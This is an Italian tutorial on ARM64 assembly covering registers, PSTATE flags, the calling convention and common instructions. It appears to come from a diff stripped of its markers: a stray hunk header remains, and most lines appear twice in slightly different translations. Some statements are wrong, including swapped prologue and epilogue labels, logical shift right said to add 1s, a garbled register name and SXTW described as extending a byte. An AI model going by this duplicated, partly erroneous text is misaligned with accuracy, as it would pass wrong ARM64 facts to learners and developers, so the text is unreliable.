* Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere `lr`, lo memorizzerà nello stack all'inizio, questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Memorizza `fp` e `lr`, genera spazio e ottiene il nuovo `fp`) e lo recupererà alla fine, questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recupera `fp` e `lr` e ritorna).
9. **`sp`** - **Puntatore dello Stack**, utilizzato per tenere traccia della cima dello stack.
* il valore di **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento di quadre parole** o potrebbe verificarsi un'eccezione di allineamento.
10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezioni, ritorni di eccezioni e branch. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di branch con link (BL, BLR) per memorizzare l'indirizzo di **`pc`** in **`lr`** (Registro di Link).
11. **`xzr`** - **Registro Zero**. Chiamato anche **`wzr`** nella sua forma a registro **32**-bit. Può essere utilizzato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti usando **`subs`** come **`subs XZR, Xn, #10`** memorizzando i dati risultanti da nessuna parte (in **`xzr`**).
1. **`x0`** a **`x7`** - Questi sono tipicamente usati come registri temporanei e per passare parametri a sottoprogrammi.
* **`x0`** porta anche i dati di ritorno di una funzione.
2. **`x8`** - Nel kernel Linux, `x8` è usato come numero di chiamata di sistema per l'istruzione `svc`. **In macOS è `x16` quello utilizzato!**
3. **`x9`** a **`x15`** - Altri registri temporanei, spesso usati per variabili locali.
4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Sono anche usati per chiamate di funzione indirette e stub PLT (Procedure Linkage Table).
* **`x16`** è usato come **numero di chiamata di sistema** per l'istruzione **`svc`** in **macOS**.
5. **`x18`** - **Registro di Piattaforma**. Può essere usato come registro a uso generale, ma su alcune piattaforme, questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco di ambiente del thread corrente in Windows, o per puntare alla struttura del **task in esecuzione nel kernel linux**.
6. **`x19`** a **`x28`** - Questi sono registri salvati dal chiamato. Una funzione deve preservare i valori di questi registri per il suo chiamante, quindi vengono memorizzati nello stack e recuperati prima di tornare al chiamante.
7. **`x29`** - **Puntatore di Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack a causa di una chiamata di funzione, il registro **`x29`** è **memorizzato nello stack** e il **nuovo** indirizzo del puntatore di frame è (**indirizzo `sp`**) **memorizzato in questo registro**.
* Questo registro può anche essere usato come un **registro a uso generale** anche se di solito è usato come riferimento a **variabili locali**.
8. **`x30`** o **`lr`** - **Registro di Link**. Tiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore **`pc`** in questo registro.
* Può anche essere usato come qualsiasi altro registro.
* Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere `lr`, lo memorizzerà nello stack all'inizio, questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Memorizza `fp` e `lr`, genera spazio e ottiene un nuovo `fp`) e lo recupera alla fine, questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recupera `fp` e `lr` e ritorna).
9. **`sp`** - **Puntatore di Stack**, usato per tenere traccia della cima dello stack.
* il valore **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento** **quadword** o potrebbe verificarsi un'eccezione di allineamento.
10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezione, ritorni di eccezione e salti. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di salto con link (BL, BLR) per memorizzare l'indirizzo **`pc`** in **`lr`** (Link Register).
11. **`xzr`** - **Registro Zero**. Chiamato anche **`wzr`** nella sua forma di registro **32**-bit. Può essere usato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti usando **`subs`** come **`subs XZR, Xn, #10`** memorizzando i dati risultanti da nessuna parte (in **`xzr`**).
I registri **`Wn`** sono la versione a **32 bit** del registro **`Xn`**.
I registri **`Wn`** sono la versione **32bit** del registro **`Xn`**.
### Registri SIMD e in Virgola Mobile
### Registri SIMD e Floating-Point
Inoltre, ci sono altri **32 registri di lunghezza 128 bit** che possono essere utilizzati in operazioni ottimizzate di dati multipli con una singola istruzione (SIMD) e per eseguire operazioni aritmetiche in virgola mobile. Questi sono chiamati registri Vn anche se possono operare anche in **64**-bit, **32**-bit, **16**-bit e **8**-bit e quindi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
### Registri di sistema
Inoltre, ci sono altri **32 registri di lunghezza 128bit** che possono essere utilizzati in operazioni ottimizzate di dati multipli a singola istruzione (SIMD) e per eseguire aritmetica in virgola mobile. Questi sono chiamati registri Vn anche se possono anche operare in **64**-bit, **32**-bit, **16**-bit e **8**-bit e poi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
**Ci sono centinaia di registri di sistema**, chiamati anche registri a scopo speciale (SPR), utilizzati per **monitorare** e **controllare** il **comportamento dei processori**.\
### Registri di Sistema
**Ci sono centinaia di registri di sistema**, chiamati anche registri a scopo speciale (SPRs), utilizzati per **monitorare** e **controllare** il comportamento dei **processori**.\
Possono essere letti o impostati solo utilizzando le istruzioni speciali dedicate **`mrs`** e **`msr`**.
I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** sono comunemente trovati durante l'ingegneria inversa. Il suffisso `EL0` indica la **minima eccezione** dalla quale il registro può essere accessibile (in questo caso EL0 è il livello di eccezione (privilegio) regolare con cui i programmi regolari vengono eseguiti).\
Sono spesso utilizzati per memorizzare l'**indirizzo di base della regione di memoria dello storage locale del thread**. Di solito il primo è leggibile e scrivibile per i programmi in esecuzione in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel).
I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** si trovano comunemente durante il reverse engineering. Il suffisso `EL0` indica la **minima eccezione** da cui il registro può essere accessibile (in questo caso EL0 è il livello di eccezione regolare (privilegio) con cui girano i programmi regolari).\
Sono spesso usati per memorizzare l'**indirizzo base della regione di memoria di storage locale del thread**. Di solito il primo è leggibile e scrivibile per i programmi che girano in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel).
* `mrs x0, TPIDR_EL0 ; Leggi TPIDR_EL0 in x0`
* `msr TPIDR_EL0, X0 ; Scrivi x0 in TPIDR_EL0`
### **PSTATE**
**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale **`SPSR_ELx`**, essendo X il **livello di permesso dell'eccezione scatenata** (ciò consente di ripristinare lo stato del processo al termine dell'eccezione).\
**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale visibile dal sistema operativo **`SPSR_ELx`**, essendo X il **livello di permesso** **dell'eccezione** attivata (questo consente di recuperare lo stato del processo quando l'eccezione termina).\
Questi sono i campi accessibili:
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
* I flag di condizione **`N`**, **`Z`**, **`C`** e **`V`**:
* **`N`** indica che l'operazione ha prodotto un risultato negativo
* **`Z`** indica che l'operazione ha prodotto zero
* **`C`** indica che l'operazione è stata eseguita
* **`V`** indica che l'operazione ha prodotto un overflow con segno:
* **`N`** significa che l'operazione ha prodotto un risultato negativo.
* **`Z`** significa che l'operazione ha prodotto zero.
* **`C`** significa che l'operazione ha generato un riporto.
* **`V`** significa che l'operazione ha prodotto un overflow firmato:
* La somma di due numeri positivi produce un risultato negativo.
* La somma di due numeri negativi produce un risultato positivo.
* Nella sottrazione, quando un numero negativo grande viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato all'interno dell'intervallo della dimensione dei bit fornita.
* Ovviamente il processore non sa se l'operazione è con segno o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un trasporto nel caso fosse con segno o senza segno.
* Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato all'interno dell'intervallo della dimensione di bit data.
* Ovviamente il processore non sa se l'operazione è firmata o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un riporto nel caso fosse firmato o non firmato.
{% hint style="warning" %}
Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`** lo fanno, e altre che hanno un suffisso s come **`ADDS`** lo fanno anche.
{% endhint %}
* Il flag attuale della **larghezza del registro (`nRW`)**: Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso.
* Il **livello di eccezione corrente** (**`EL`**): Un programma regolare in esecuzione in EL0 avrà il valore 0
* Il flag di **singolo passaggio** (**`SS`**): Usato dai debugger per eseguire un passo alla volta impostando il flag SS su 1 all'interno di **`SPSR_ELx`** tramite un'eccezione. Il programma eseguirà un passo e emetterà un'eccezione di passo singolo.
* Il flag di stato di eccezione illegale (**`IL`**): Viene utilizzato per segnalare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag viene impostato su 1 e il processore scatena un'eccezione di stato illegale.
* I flag **`DAIF`**: Questi flag consentono a un programma privilegiato di mascherare selettivamente determinate eccezioni esterne.
* Se **`A`** è 1 significa che verranno scatenati **aborti asincroni**. **`I`** configura la risposta alle **Richieste di Interruzione Hardware** esterne (IRQs). e F è relativo alle **Richieste di Interruzione Rapida** (FIRs).
* I flag di selezione del puntatore dello stack (**`SPS`**): I programmi privilegiati in esecuzione in EL1 e superiori possono passare dall'utilizzare il proprio registro del puntatore dello stack e quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
* Il flag **larghezza registro corrente (`nRW`)**: Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso.
* Il **livello di Eccezione** (**`EL`**): Un programma regolare che gira in EL0 avrà il valore 0.
* Il flag di **single stepping** (**`SS`**): Usato dai debugger per eseguire un passo impostando il flag SS a 1 all'interno di **`SPSR_ELx`** attraverso un'eccezione. Il programma eseguirà un passo e genererà un'eccezione di singolo passo.
* Il flag di stato di **eccezione illegale** (**`IL`**): Viene utilizzato per contrassegnare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag è impostato a 1 e il processore attiva un'eccezione di stato illegale.
* I flag **`DAIF`**: Questi flag consentono a un programma privilegiato di mascherare selettivamente alcune eccezioni esterne.
* Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura la risposta alle **Richieste di Interruzione** (IRQ) hardware esterne. e il F è relativo alle **Richieste di Interruzione Veloce** (FIR).
* I flag di selezione del puntatore di stack (**`SPS`**): I programmi privilegiati che girano in EL1 e superiori possono passare dall'uso del proprio registro di puntatore di stack a quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
## **Convenzione di chiamata (ARM64v8)**
## **Convenzione di Chiamata (ARM64v8)**
La convenzione di chiamata ARM64 specifica che i **primi otto parametri** di una funzione vengono passati nei registri **`x0` attraverso `x7`**. I **parametri aggiuntivi** vengono passati nello **stack**. Il valore di **ritorno** viene restituito nel registro **`x0`**, o anche in **`x1`** se è lungo 128 bit. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** durante le chiamate alle funzioni.
La convenzione di chiamata ARM64 specifica che i **primi otto parametri** a una funzione vengono passati nei registri **`x0` a `x7`**. I parametri **aggiuntivi** vengono passati nello **stack**. Il **valore di ritorno** viene passato indietro nel registro **`x0`**, o in **`x1`** se è lungo **128 bit**. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** tra le chiamate di funzione.
Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo** della funzione. Il **prologo** di solito coinvolge il **salvataggio del frame pointer (`x29`)**, **impostare** un **nuovo frame pointer**, e **allocare spazio nello stack**. L'**epilogo** di solito coinvolge il **ripristino del frame pointer salvato** e il **ritorno** dalla funzione.
Quando leggi una funzione in assembly, cerca il **prologo e l'epilogo** della funzione. Il **prologo** di solito comporta **salvare il puntatore di frame (`x29`)**, **impostare** un **nuovo puntatore di frame**, e **allocare spazio nello stack**. L'**epilogo** di solito comporta **ripristinare il puntatore di frame salvato** e **ritornare** dalla funzione.
### Convenzione di chiamata in Swift
### Convenzione di Chiamata in Swift
Swift ha la sua **convenzione di chiamata** che può essere trovata in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
Swift ha la propria **convenzione di chiamata** che può essere trovata in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **Istruzioni Comuni (ARM64v8)**
Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**, dove **`opcode`** è l'**operazione** da eseguire (come `add`, `sub`, `mov`, ecc.), **`dst`** è il registro **destinazione** dove verrà memorizzato il risultato, e **`src1`** e **`src2`** sono i registri **origine**. Possono essere utilizzati anche valori immediati al posto dei registri di origine.
Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**, dove **`opcode`** è l'**operazione** da eseguire (come `add`, `sub`, `mov`, ecc.), **`dst`** è il **registro di destinazione** dove verrà memorizzato il risultato, e **`src1`** e **`src2`** sono i **registri sorgente**. I valori immediati possono anche essere usati al posto dei registri sorgente.
* **`mov`**: **Sposta** un valore da un **registro** a un altro.
* Esempio: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`.
* **`ldr`**: **Carica** un valore dalla **memoria** in un **registro**.
* Esempio: `ldr x0, [x1]` — Questo carica un valore dalla posizione di memoria puntata da `x1` in `x0`.
* **Modalità di offset**: Un offset che influisce sul puntatore di origine è indicato, ad esempio:
* `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8
* `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4
* **Modalità pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine.
* `ldr x2, [x1, #8]!`, questo caricherà `x1 + 8` in `x2` e memorizzerà in x1 il risultato di `x1 + 8`
* `str lr, [sp, #-4]!`, Memorizza il registro di link in sp e aggiorna il registro sp
* **Modalità post-indicizzata**: È simile alla precedente ma l'indirizzo di memoria viene accesso e poi viene calcolato e memorizzato l'offset.
* `ldr x0, [x1], #8`, carica `x1` in `x0` e aggiorna x1 con `x1 + 8`
* **Indirizzamento relativo al PC**: In questo caso l'indirizzo da caricare viene calcolato in relazione al registro PC
* `ldr x1, =_start`, Questo caricherà l'indirizzo in cui inizia il simbolo `_start` in x1 relativo al PC corrente.
* **`str`**: **Memorizza** un valore da un **registro** nella **memoria**.
* **Modalità Offset**: Un offset che influisce sul puntatore originale è indicato, per esempio:
* `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8.
* `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4.
* **Modalità Pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine.
* `ldr x2, [x1, #8]!`, questo caricherà `x1 + 8` in `x2` e memorizzerà in x1 il risultato di `x1 + 8`.
* `str lr, [sp, #-4]!`, Memorizza il registro di link in sp e aggiorna il registro sp.
* **Modalità Post-indicizzata**: Questo è simile al precedente ma l'indirizzo di memoria viene accesso e poi l'offset viene calcolato e memorizzato.
* `ldr x0, [x1], #8`, carica `x1` in `x0` e aggiorna x1 con `x1 + 8`.
* **Indirizzamento relativo al PC**: In questo caso l'indirizzo da caricare è calcolato rispetto al registro PC.
* `ldr x1, =_start`, Questo caricherà l'indirizzo dove inizia il simbolo `_start` in x1 relativo al PC corrente.
* **`str`**: **Memorizza** un valore da un **registro** in **memoria**.
* Esempio: `str x0, [x1]` — Questo memorizza il valore in `x0` nella posizione di memoria puntata da `x1`.
* **`ldp`**: **Carica Coppia di Registri**. Questa istruzione **carica due registri** da **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
* **`ldp`**: **Carica una coppia di registri**. Questa istruzione **carica due registri** da **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
* Esempio: `ldp x0, x1, [x2]` — Questo carica `x0` e `x1` dalle posizioni di memoria in `x2` e `x2 + 8`, rispettivamente.
* **`stp`**: **Memorizza Coppia di Registri**. Questa istruzione **memorizza due registri** in **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
* **`stp`**: **Memorizza una coppia di registri**. Questa istruzione **memorizza due registri** in **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
* Esempio: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp` e `sp + 8`, rispettivamente.
* `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`.
* **`add`**: **Aggiunge** i valori di due registri e memorizza il risultato in un registro.
@ -141,93 +142,93 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
* Xn1 -> Destinazione
* Xn2 -> Operando 1
* Xn3 | #imm -> Operando 2 (registro o immediato)
* \[shift #N | RRX] -> Esegue uno shift o chiama RRX
* Esempio: `add x0, x1, x2` — Questo somma i valori in `x1` e `x2` insieme e memorizza il risultato in `x0`.
* `add x5, x5, #1, lsl #12` — Questo equivale a 4096 (un 1 shiftato 12 volte) -> 1 0000 0000 0000 0000
* **`adds`** Questo esegue un `add` e aggiorna i flag
* **`sub`**: **Sottrai** i valori di due registri e memorizza il risultato in un registro.
* \[shift #N | RRX] -> Esegui uno shift o chiama RRX.
* Esempio: `add x0, x1, x2` — Questo aggiunge i valori in `x1` e `x2` insieme e memorizza il risultato in `x0`.
* `add x5, x5, #1, lsl #12` — Questo equivale a 4096 (un 1 shifter 12 volte) -> 1 0000 0000 0000 0000.
* **`adds`** Questo esegue un `add` e aggiorna i flag.
* **`sub`**: **Sottrae** i valori di due registri e memorizza il risultato in un registro.
* Controlla la **sintassi di `add`**.
* Esempio: `sub x0, x1, x2` — Questo sottrae il valore in `x2` da `x1` e memorizza il risultato in `x0`.
* **`subs`** Questo è come sub ma aggiorna il flag
* **`subs`** Questo è simile a sub ma aggiorna il flag.
* **`mul`**: **Moltiplica** i valori di **due registri** e memorizza il risultato in un registro.
* Esempio: `mul x0, x1, x2` — Questo moltiplica i valori in `x1` e `x2` e memorizza il risultato in `x0`.
* **`div`**: **Dividi** il valore di un registro per un altro e memorizza il risultato in un registro.
* **`div`**: **Divide** il valore di un registro per un altro e memorizza il risultato in un registro.
* Esempio: `div x0, x1, x2` — Questo divide il valore in `x1` per `x2` e memorizza il risultato in `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Shift logico a sinistra**: Aggiunge 0 dalla fine spostando gli altri bit in avanti (moltiplica n volte per 2)
* **Shift logico a destra**: Aggiunge 1 all'inizio spostando gli altri bit all'indietro (divide n volte per 2 in non firmato)
* **Shift aritmetico a destra**: Come **`lsr`**, ma invece di aggiungere 0 se il bit più significativo è 1, \*\*aggiunge 1 (\*\*divide n volte per 2 in firmato)
* **Ruota a destra**: Come **`lsr`** ma qualsiasi cosa venga rimossa da destra viene aggiunta a sinistra
* **Ruota a destra con estensione**: Come **`ror`**, ma con il flag di carry come "bit più significativo". Quindi il flag di carry viene spostato al bit 31 e il bit rimosso al flag di carry.
* **`bfm`**: **Bit Filed Move**, queste operazioni **copiano i bit `0...n`** da un valore e li collocano nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la **quantità di rotazione a destra**.
* Spostamento del campo bit: `BFM Xd, Xn, #r`
* Spostamento del campo bit firmato: `SBFM Xd, Xn, #r, #s`
* Spostamento del campo bit non firmato: `UBFM Xd, Xn, #r, #s`
* **Estrai e inserisci campo bit:** Copia un campo bit da un registro e lo copia in un altro registro.
* **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 dal 3° bit di X1
* **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1
* **`SBFIZ X1, X2, #3, #4`** Estende il segno di 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra
* **`SBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 di X2, estende il segno e inserisce il risultato in X1
* **`UBFIZ X1, X2, #3, #4`** Estende a zero 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra
* **`UBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 di X2 e inserisce il risultato esteso a zero in X1.
* **Estendi il segno a X:** Estende il segno (o aggiunge solo 0 nella versione non firmata) di un valore per poter eseguire operazioni con esso:
* **`SXTB X1, W2`** Estende il segno di un byte **da W2 a X1** (`W2` è la metà di `X2`) per riempire i 64 bit
* **`SXTH X1, W2`** Estende il segno di un numero a 16 bit **da W2 a X1** per riempire i 64 bit
* **`SXTW X1, W2`** Estende il segno di un byte **da W2 a X1** per riempire i 64 bit
* **`UXTB X1, W2`** Aggiunge 0 (non firmato) a un byte **da W2 a X1** per riempire i 64 bit
* **`extr`:** Estrae bit da una **coppia di registri concatenati** specificati.
* Esempio: `EXTR W3, W2, W1, #3` Questo **concatena W1+W2** e prende **dal bit 3 di W2 fino al bit 3 di W1** e lo memorizza in W3.
* **Shift logico a sinistra**: Aggiungi 0s dalla fine spostando gli altri bit in avanti (moltiplica per n-volte 2).
* **Shift logico a destra**: Aggiungi 1s all'inizio spostando gli altri bit all'indietro (dividi per n-volte 2 in non firmato).
* **Shift aritmetico a destra**: Come **`lsr`**, ma invece di aggiungere 0s se il bit più significativo è 1, **si aggiungono 1s** (dividi per n-volte 2 in firmato).
* **Ruota a destra**: Come **`lsr`** ma qualsiasi cosa venga rimossa da destra viene aggiunta a sinistra.
* **Ruota a Destra con Estensione**: Come **`ror`**, ma con il flag di riporto come "bit più significativo". Quindi il flag di riporto viene spostato al bit 31 e il bit rimosso al flag di riporto.
* **`bfm`**: **Bit Filed Move**, queste operazioni **copia i bit `0...n`** da un valore e li posiziona in posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la **quantità di rotazione a destra**.
* Spostamento di bit: `BFM Xd, Xn, #r`.
* Spostamento di bit firmato: `SBFM Xd, Xn, #r, #s`.
* Spostamento di bit non firmato: `UBFM Xd, Xn, #r, #s`.
* **Estrai e Inserisci Bitfield:** Copia un campo di bit da un registro e lo copia in un altro registro.
* **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 dal 3° bit di X1.
* **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1.
* **`SBFIZ X1, X2, #3, #4`** Estende il segno di 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra.
* **`SBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 di X2, estende il segno e posiziona il risultato in X1.
* **`UBFIZ X1, X2, #3, #4`** Estende a zero 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra.
* **`UBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 di X2 e posiziona il risultato esteso a zero in X1.
* **Estendi il segno a X:** Estende il segno (o aggiunge solo 0s nella versione non firmata) di un valore per poter eseguire operazioni con esso:
* **`SXTB X1, W2`** Estende il segno di un byte **da W2 a X1** (`W2` è la metà di `X2`) per riempire i 64bit.
* **`SXTH X1, W2`** Estende il segno di un numero a 16 bit **da W2 a X1** per riempire i 64bit.
* **`SXTW X1, W2`** Estende il segno di un byte **da W2 a X1** per riempire i 64bit.
* **`UXTB X1, W2`** Aggiunge 0s (non firmato) a un byte **da W2 a X1** per riempire i 64bit.
* **`extr`:** Estrae bit da una **coppia di registri specificata concatenata**.
* Esempio: `EXTR W3, W2, W1, #3` Questo **concatenerà W1+W2** e otterrà **dal bit 3 di W2 fino al bit 3 di W1** e lo memorizzerà in W3.
* **`cmp`**: **Confronta** due registri e imposta i flag di condizione. È un **alias di `subs`** impostando il registro di destinazione al registro zero. Utile per sapere se `m == n`.
* Supporta la **stessa sintassi di `subs`**
* Supporta la **stessa sintassi di `subs`**.
* Esempio: `cmp x0, x1` — Questo confronta i valori in `x0` e `x1` e imposta i flag di condizione di conseguenza.
* **`cmn`**: **Confronto negativo** dell'operando. In questo caso è un **alias di `adds`** e supporta la stessa sintassi. Utile per sapere se `m == -n`.
* **`ccmp`**: Confronto condizionale, è un confronto che verrà eseguito solo se un confronto precedente è vero e imposterà specificamente i bit nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta a func
* Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era un `NE`**, se non lo fosse i bit `nzcv` verranno impostati a 0 (che non soddisferà il confronto `blt`).
* Questo può anche essere usato come `ccmn` (stesso ma negativo, come `cmp` vs `cmn`).
* **`tst`**: Controlla se i valori del confronto sono entrambi 1 (funziona come un ANDS senza memorizzare il risultato da nessuna parte). È utile per controllare un registro con un valore e verificare se uno qualsiasi dei bit del registro indicato nel valore è 1.
* Esempio: `tst X1, #7` Controlla se uno qualsiasi degli ultimi 3 bit di X1 è 1
* **`teq`**: Operazione XOR scartando il risultato
* **`b`**: Salto incondizionato
* Esempio: `b myFunction`
* Nota che questo non riempirà il registro di collegamento con l'indirizzo di ritorno (non adatto per le chiamate a subroutine che devono tornare indietro)
* **`bl`**: **Salto** con collegamento, usato per **chiamare** una **sottoroutine**. Memorizza l'**indirizzo di ritorno in `x30`**.
* **`cmn`**: **Confronta l'operando negativo**. In questo caso è un **alias di `adds`** e supporta la stessa sintassi. Utile per sapere se `m == -n`.
* **`ccmp`**: Confronto condizionale, è un confronto che verrà eseguito solo se un confronto precedente è stato vero e imposterà specificamente i bit nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta a func.
* Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era un `NE`**, se non lo era i bit `nzcv` saranno impostati a 0 (il che non soddisferà il confronto `blt`).
* Questo può anche essere usato come `ccmn` (stessa cosa ma negativa, come `cmp` vs `cmn`).
* **`tst`**: Controlla se uno dei valori del confronto è 1 (funziona come un ANDS senza memorizzare il risultato da nessuna parte). È utile per controllare un registro con un valore e verificare se uno dei bit del registro indicato nel valore è 1.
* Esempio: `tst X1, #7` Controlla se uno degli ultimi 3 bit di X1 è 1.
* **`teq`**: Operazione XOR scartando il risultato.
* **`b`**: Salto incondizionato.
* Esempio: `b myFunction`.
* Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprocedure che devono tornare indietro).
* **`bl`**: **Salto** con link, usato per **chiamare** una **sottoprocedura**. Memorizza l'**indirizzo di ritorno in `x30`**.
* Esempio: `bl myFunction` — Questo chiama la funzione `myFunction` e memorizza l'indirizzo di ritorno in `x30`.
* Nota che questo non riempirà il registro di collegamento con l'indirizzo di ritorno (non adatto per le chiamate a subroutine che devono tornare indietro)
* **`blr`**: **Salto** con collegamento al registro, usato per **chiamare** una **sottoroutine** dove il target è **specificato** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`. (Questo è
* Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprocedure che devono tornare indietro).
* **`blr`**: **Salto** con Link a Registro, usato per **chiamare** una **sottoprocedura** dove il target è **specificato** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`. (Questo è
* Esempio: `blr x1` — Questo chiama la funzione il cui indirizzo è contenuto in `x1` e memorizza l'indirizzo di ritorno in `x30`.
* **`ret`**: **Ritorna** dalla **sottoroutine**, tipicamente utilizzando l'indirizzo in **`x30`**.
* Esempio: `ret` — Questo ritorna dalla sottoroutine corrente utilizzando l'indirizzo di ritorno in `x30`.
* **`b.<cond>`**: Salti condizionali
* **`ret`**: **Ritorna** dalla **sottoprocedura**, tipicamente usando l'indirizzo in **`x30`**.
* Esempio: `ret` — Questo ritorna dalla sottoprocedura corrente usando l'indirizzo di ritorno in `x30`.
* **`b.<cond>`**: Salti condizionali.
* **`b.eq`**: **Salta se uguale**, basato sull'istruzione `cmp` precedente.
* Esempio: `b.eq label` — Se l'istruzione `cmp` precedente ha trovato due valori uguali, questo salta a `label`.
* **`b.ne`**: **Branch se Non Uguale**. Questa istruzione controlla i flag di condizione (che sono stati impostati da un'istruzione di confronto precedente), e se i valori confrontati non erano uguali, salta a un'etichetta o indirizzo.
* Esempio: Dopo un'istruzione `cmp x0, x1`, `b.ne label` — Se i valori in `x0` e `x1` non erano uguali, salta a `label`.
* **`cbz`**: **Confronta e Salta se Zero**. Questa istruzione confronta un registro con zero, e se sono uguali, salta a un'etichetta o indirizzo.
* Esempio: `cbz x0, label` — Se il valore in `x0` è zero, salta a `label`.
* **`cbnz`**: **Confronta e Salta se Non Zero**. Questa istruzione confronta un registro con zero, e se non sono uguali, salta a un'etichetta o indirizzo.
* Esempio: `cbnz x0, label` — Se il valore in `x0` non è zero, salta a `label`.
